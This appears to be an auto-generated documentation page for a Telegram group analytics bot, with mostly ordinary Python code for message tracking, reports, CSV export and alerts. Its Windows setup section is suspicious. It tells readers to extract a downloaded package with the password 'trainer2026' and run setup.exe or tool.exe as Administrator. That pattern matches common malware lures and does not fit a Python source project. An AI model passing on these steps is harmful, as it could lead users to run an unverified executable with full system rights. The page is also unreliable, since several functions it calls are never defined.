telegram-group-statistics-analytics-bot

Telegram Group Statistics & Analytics Bot

Skill by ara.so — Data Skills collection

Overview

This bot tracks and analyzes Telegram group activity including:

• Member growth (joins, leaves, net changes)
• Message statistics per user
• Activity heatmaps (hours, days)
• Engagement metrics
• Automated daily/weekly reports (PDF/HTML)
• CSV data export
• Activity drop alerts

Installation

Windows Setup

1. Download the package from the repository
2. Extract using password: trainer2026
3. Run setup.exe or tool.exe as Administrator
4. Configure initial settings through the GUI

Python/Source Installation

If building from source (language detection needed):

# Clone repository
git clone https://github.com/ddperso/Telegram_Group_Statistics___Analytics_Bot.git
cd Telegram_Group_Statistics___Analytics_Bot

# Install dependencies
pip install -r requirements.txt

# Set up environment variables
cp .env.example .env
# Edit .env with your credentials

Configuration

Environment Variables

# Telegram API credentials (get from https://my.telegram.org)
TELEGRAM_API_ID=your_api_id
TELEGRAM_API_HASH=your_api_hash
TELEGRAM_BOT_TOKEN=your_bot_token

# Database configuration
DATABASE_URL=sqlite:///telegram_stats.db
# or PostgreSQL: postgresql://user:password@localhost/telegram_stats

# Report settings
REPORT_TIMEZONE=UTC
DAILY_REPORT_TIME=09:00
WEEKLY_REPORT_DAY=monday

# Alert thresholds
ACTIVITY_DROP_THRESHOLD=30  # percent
MIN_MESSAGE_COUNT=10

Bot Configuration File

Create config.json:

{
  "groups": [
    {
      "id": -1001234567890,
      "name": "My Group",
      "track_messages": true,
      "track_members": true,
      "generate_reports": true
    }
  ],
  "features": {
    "activity_heatmap": true,
    "user_rankings": true,
    "export_csv": true,
    "pdf_reports": true,
    "html_reports": true
  },
  "alerts": {
    "enabled": true,
    "notify_admins": true,
    "channels": ["email", "telegram"]
  }
}

Usage Patterns

Bot Commands

/start - Initialize bot and show menu
/stats - Get current group statistics
/report [daily|weekly|monthly] - Generate activity report
/top [10] - Show top N active users
/growth - Display member growth chart
/export [csv|json] - Export data
/heatmap - Generate activity heatmap
/alerts on|off - Toggle activity alerts
/settings - Configure bot parameters

Programmatic Usage (Python)

from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters
import os
from datetime import datetime, timedelta

# Initialize bot
app = Application.builder().token(os.getenv("TELEGRAM_BOT_TOKEN")).build()

# Track message handler
async def track_message(update: Update, context):
    """Track every message for statistics"""
    chat_id = update.effective_chat.id
    user_id = update.effective_user.id
    message_date = update.message.date
    
    # Store in database
    await store_message_stat(
        chat_id=chat_id,
        user_id=user_id,
        username=update.effective_user.username,
        message_date=message_date,
        message_type=update.message.content_type
    )

# Generate statistics command
async def get_stats(update: Update, context):
    """Get group statistics"""
    chat_id = update.effective_chat.id
    
    stats = await calculate_stats(chat_id, days=7)
    
    response = f"""
📊 **Group Statistics (Last 7 Days)**

👥 Members: {stats['total_members']} (+{stats['new_members']} | -{stats['left_members']})
💬 Messages: {stats['total_messages']}
📈 Avg/Day: {stats['avg_messages_per_day']:.1f}
🔥 Most Active: @{stats['top_user']['username']} ({stats['top_user']['count']} msgs)
⏰ Peak Hour: {stats['peak_hour']}:00

📅 Daily Breakdown:
{format_daily_breakdown(stats['daily_data'])}
    """
    
    await update.message.reply_text(response, parse_mode="Markdown")

# Member tracking
async def track_member_join(update: Update, context):
    """Track new member joins"""
    for member in update.message.new_chat_members:
        await store_member_event(
            chat_id=update.effective_chat.id,
            user_id=member.id,
            username=member.username,
            event_type="join",
            timestamp=update.message.date
        )

async def track_member_leave(update: Update, context):
    """Track member leaves"""
    await store_member_event(
        chat_id=update.effective_chat.id,
        user_id=update.message.left_chat_member.id,
        username=update.message.left_chat_member.username,
        event_type="leave",
        timestamp=update.message.date
    )

# Register handlers
app.add_handler(MessageHandler(filters.ALL, track_message))
app.add_handler(CommandHandler("stats", get_stats))
app.add_handler(MessageHandler(filters.StatusUpdate.NEW_CHAT_MEMBERS, track_member_join))
app.add_handler(MessageHandler(filters.StatusUpdate.LEFT_CHAT_MEMBER, track_member_leave))

# Run bot
app.run_polling()

Database Schema

from sqlalchemy import Column, Integer, String, DateTime, ForeignKey, BigInteger
from sqlalchemy.ext.declarative import declarative_base

Base = declarative_base()

class Message(Base):
    __tablename__ = 'messages'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, index=True)
    user_id = Column(BigInteger, index=True)
    username = Column(String(255))
    message_date = Column(DateTime, index=True)
    message_type = Column(String(50))
    
class MemberEvent(Base):
    __tablename__ = 'member_events'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, index=True)
    user_id = Column(BigInteger, index=True)
    username = Column(String(255))
    event_type = Column(String(20))  # join/leave
    timestamp = Column(DateTime, index=True)

class GroupStats(Base):
    __tablename__ = 'group_stats'
    
    id = Column(Integer, primary_key=True)
    chat_id = Column(BigInteger, unique=True)
    total_members = Column(Integer, default=0)
    total_messages = Column(Integer, default=0)
    last_updated = Column(DateTime)

Generating Reports

from reportlab.lib.pagesizes import letter
from reportlab.pdfgen import canvas
import matplotlib.pyplot as plt

async def generate_pdf_report(chat_id: int, period: str = "weekly"):
    """Generate PDF report with charts"""
    stats = await calculate_stats(chat_id, period=period)
    
    # Create PDF
    filename = f"report_{chat_id}_{period}_{datetime.now().strftime('%Y%m%d')}.pdf"
    c = canvas.Canvas(filename, pagesize=letter)
    
    # Title
    c.setFont("Helvetica-Bold", 20)
    c.drawString(50, 750, f"Group Analytics Report - {period.capitalize()}")
    
    # Statistics
    c.setFont("Helvetica", 12)
    y = 700
    for key, value in stats.items():
        c.drawString(50, y, f"{key}: {value}")
        y -= 20
    
    # Generate charts
    generate_activity_chart(stats['daily_data'], "activity_chart.png")
    c.drawImage("activity_chart.png", 50, 400, width=500, height=250)
    
    c.save()
    return filename

def generate_activity_heatmap(chat_id: int, days: int = 30):
    """Generate activity heatmap"""
    data = fetch_hourly_activity(chat_id, days)
    
    # Create heatmap
    plt.figure(figsize=(12, 6))
    plt.imshow(data, cmap='YlOrRd', aspect='auto')
    plt.colorbar(label='Message Count')
    plt.xlabel('Hour of Day')
    plt.ylabel('Day of Week')
    plt.title('Activity Heatmap')
    plt.xticks(range(24))
    plt.yticks(range(7), ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'])
    
    filename = f"heatmap_{chat_id}.png"
    plt.savefig(filename)
    plt.close()
    
    return filename

CSV Export

import csv
from datetime import datetime

async def export_to_csv(chat_id: int, start_date: datetime, end_date: datetime):
    """Export statistics to CSV"""
    messages = await fetch_messages(chat_id, start_date, end_date)
    
    filename = f"export_{chat_id}_{start_date.strftime('%Y%m%d')}.csv"
    
    with open(filename, 'w', newline='', encoding='utf-8') as f:
        writer = csv.writer(f)
        writer.writerow(['Date', 'User ID', 'Username', 'Message Count', 'Type'])
        
        for msg in messages:
            writer.writerow([
                msg.message_date.strftime('%Y-%m-%d %H:%M:%S'),
                msg.user_id,
                msg.username,
                1,
                msg.message_type
            ])
    
    return filename

Alert System

async def check_activity_alerts(chat_id: int):
    """Check for activity drops and send alerts"""
    current_activity = await get_daily_message_count(chat_id)
    avg_activity = await get_average_daily_messages(chat_id, days=30)
    
    threshold = float(os.getenv("ACTIVITY_DROP_THRESHOLD", 30))
    drop_percent = ((avg_activity - current_activity) / avg_activity) * 100
    
    if drop_percent > threshold:
        await send_alert(
            chat_id=chat_id,
            alert_type="activity_drop",
            message=f"⚠️ Activity dropped by {drop_percent:.1f}%!\n"
                   f"Current: {current_activity} messages\n"
                   f"Average: {avg_activity:.0f} messages"
        )

# Schedule periodic checks
from apscheduler.schedulers.asyncio import AsyncIOScheduler

scheduler = AsyncIOScheduler()
scheduler.add_job(check_activity_alerts, 'interval', hours=1)
scheduler.start()

Common Patterns

Daily Report Automation

from apscheduler.triggers.cron import CronTrigger

async def send_daily_report(context):
    """Send daily report to all configured groups"""
    for group in config['groups']:
        if group['generate_reports']:
            report = await generate_pdf_report(group['id'], "daily")
            await context.bot.send_document(
                chat_id=group['id'],
                document=open(report, 'rb'),
                caption="📊 Daily Activity Report"
            )

# Schedule at configured time
report_time = os.getenv("DAILY_REPORT_TIME", "09:00").split(":")
scheduler.add_job(
    send_daily_report,
    CronTrigger(hour=int(report_time[0]), minute=int(report_time[1]))
)

User Engagement Scoring

async def calculate_engagement_score(user_id: int, chat_id: int, days: int = 30):
    """Calculate user engagement score"""
    stats = await get_user_stats(user_id, chat_id, days)
    
    score = 0
    score += stats['message_count'] * 1
    score += stats['days_active'] * 5
    score += stats['replies_received'] * 2
    score += stats['media_shared'] * 3
    
    # Normalize to 0-100
    max_possible = days * 100
    return min(100, (score / max_possible) * 100)

Troubleshooting

Bot Not Receiving Messages

• Ensure bot has privacy mode disabled in BotFather (/setprivacy)
• Verify bot is added as admin if tracking member events
• Check TELEGRAM_API_ID and TELEGRAM_API_HASH are correct

Database Connection Issues

# Add retry logic
from sqlalchemy import create_engine
from sqlalchemy.pool import QueuePool

engine = create_engine(
    os.getenv("DATABASE_URL"),
    poolclass=QueuePool,
    pool_size=10,
    max_overflow=20,
    pool_pre_ping=True  # Verify connections
)

Memory Usage with Large Groups

# Batch process messages
async def process_messages_batch(chat_id: int, batch_size: int = 1000):
    """Process messages in batches to avoid memory issues"""
    offset = 0
    while True:
        messages = await fetch_messages_paginated(chat_id, offset, batch_size)
        if not messages:
            break
        
        await process_batch(messages)
        offset += batch_size

Rate Limiting

from telegram.error import RetryAfter
import asyncio

async def send_with_retry(chat_id, message):
    """Send message with automatic retry on rate limit"""
    try:
        await bot.send_message(chat_id, message)
    except RetryAfter as e:
        await asyncio.sleep(e.retry_after)
        await send_with_retry(chat_id, message)

Best Practices

1. Use database indexes on chat_id, user_id, and message_date columns
2. Archive old data periodically to maintain performance
3. Cache statistics for frequently requested metrics
4. Schedule heavy operations during low-activity periods
5. Monitor bot health with logging and error tracking
6. Backup database regularly, especially before updates